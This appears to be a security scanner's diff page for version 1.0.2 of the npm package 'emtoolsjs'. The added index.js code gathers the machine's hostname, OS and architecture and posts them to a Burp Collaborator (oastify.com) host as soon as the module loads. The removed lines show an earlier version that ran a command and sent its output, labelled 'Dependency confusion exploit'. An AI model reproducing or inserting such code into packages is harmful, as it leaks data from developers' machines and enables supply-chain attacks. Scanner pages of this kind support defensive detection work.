emtoolsjs 1.0.1 → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +12 -23
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,10 +1,16 @@
|
|
1
1
|
const https = require('https');
|
2
|
-
const
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
function sendPing() {
|
5
|
+
const data = JSON.stringify({
|
6
|
+
message: 'Ping from emtoolsjs',
|
7
|
+
hostname: os.hostname(), // Nombre de la máquina
|
8
|
+
platform: os.platform(), // Sistema operativo
|
9
|
+
architecture: os.arch() // Arquitectura del sistema
|
10
|
+
});
|
3
11
|
|
4
|
-
// Función para enviar datos al Burp Collaborator
|
5
|
-
function sendData(data) {
|
6
12
|
const options = {
|
7
|
-
hostname: '
|
13
|
+
hostname: '0de53pj68imwlsb71vejkpx5ewkn8gw5.oastify.com', // Cambia por tu servidor de escucha
|
8
14
|
port: 443,
|
9
15
|
path: '/callback',
|
10
16
|
method: 'POST',
|
@@ -26,23 +32,6 @@ function sendData(data) {
|
|
26
32
|
req.end();
|
27
33
|
}
|
28
34
|
|
29
|
-
|
30
|
-
|
31
|
-
if (error) {
|
32
|
-
console.error(`Error al ejecutar el comando: ${error.message}`);
|
33
|
-
return;
|
34
|
-
}
|
35
|
-
if (stderr) {
|
36
|
-
console.error(`Error en el comando: ${stderr}`);
|
37
|
-
}
|
38
|
-
|
39
|
-
// Prepara los datos en formato JSON para enviar a Burp Collaborator
|
40
|
-
const payload = JSON.stringify({
|
41
|
-
message: 'Dependency confusion exploit',
|
42
|
-
commandOutput: stdout
|
43
|
-
});
|
44
|
-
|
45
|
-
// Envía los datos al Collaborator
|
46
|
-
sendData(payload);
|
47
|
-
});
|
35
|
+
sendPing();
|
36
|
+
module.exports = { sendPing };
|
48
37
|
|